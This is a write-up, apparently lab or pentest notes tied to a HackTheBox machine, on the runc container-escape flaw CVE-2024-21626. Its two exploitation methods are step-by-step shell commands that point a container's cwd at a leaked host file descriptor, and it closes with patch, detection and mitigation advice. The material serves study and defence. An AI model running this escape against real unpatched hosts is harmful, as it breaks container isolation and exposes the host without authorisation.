CVE-2024-21626 - runc Leaky Vessels

Overview

Root Cause

runc leaks an internal file descriptor (typically fd/7) pointing to the host filesystem's working directory before executing the container process. By setting the container's cwd in config.json to /proc/self/fd/7, the process lands in a host directory rather than the container rootfs — achieving a container escape.

Exploitation Methods

Method 1 - Manual rootfs from host binaries

Build a minimal rootfs by copying binaries directly from the host:

# 1. Create directory structure
cd /tmp && mkdir -p strikoder/rootfs && cd strikoder
mkdir -p rootfs/lib64 rootfs/lib

# 2. Copy binaries and required libraries
cp -aL /bin rootfs/bin
cp /lib64/ld-linux-x86-64.so.2 rootfs/lib64/
cp -a /lib/x86_64-linux-gnu rootfs/lib

# 3. Generate default OCI config
runc spec

# 4. Patch cwd in config.json to point at leaked host fd
# Change: "cwd": "/"
# To:     "cwd": "/proc/self/fd/7"
vi config.json

# 5. Run the container with the vulnerable runc binary
sudo /opt/debug --log /tmp/log.json run strikontainer

What happens: runc opens fd/7 referencing the host CWD before pivoting to the container rootfs. Setting cwd to /proc/self/fd/7 causes runc to chdir() into the host path rather than the container — landing you on the real filesystem.

Method 2 - Alpine Docker image as rootfs

If you need a more complete environment or the host has limited binaries:

# --- On your attack machine ---
# Export a minimal Alpine filesystem
docker export $(docker create alpine:latest) > alpine.tar

# Transfer alpine.tar to the target, then:

# --- On target ---
mkdir -p /tmp/strikoder/rootfs && cd /tmp/strikoder
tar -xvf /path/to/alpine.tar -C rootfs

# Generate OCI bundle config
runc spec

# Patch cwd (same as Method 1)
vi config.json
# "cwd": "/proc/self/fd/7"

# Run
sudo /opt/debug --log /tmp/log.json run strikontainer

Detection & Mitigation

• Patch: Upgrade runc to ≥ 1.1.12 (or ≥ 1.2.0-rc.2)
• Detect: Monitor for openat() on /proc/self/fd/ inside container cwd configurations; alert on OCI bundles with cwd containing /proc/self/fd
• Mitigate: Use seccomp profiles that restrict /proc access; consider rootless containers or gVisor/Kata for stronger isolation

References

• NVD: CVE-2024-21626
• runc GitHub Security Advisory
• Snyk Leaky Vessels Blog
• HackTheBox - GiveBack machine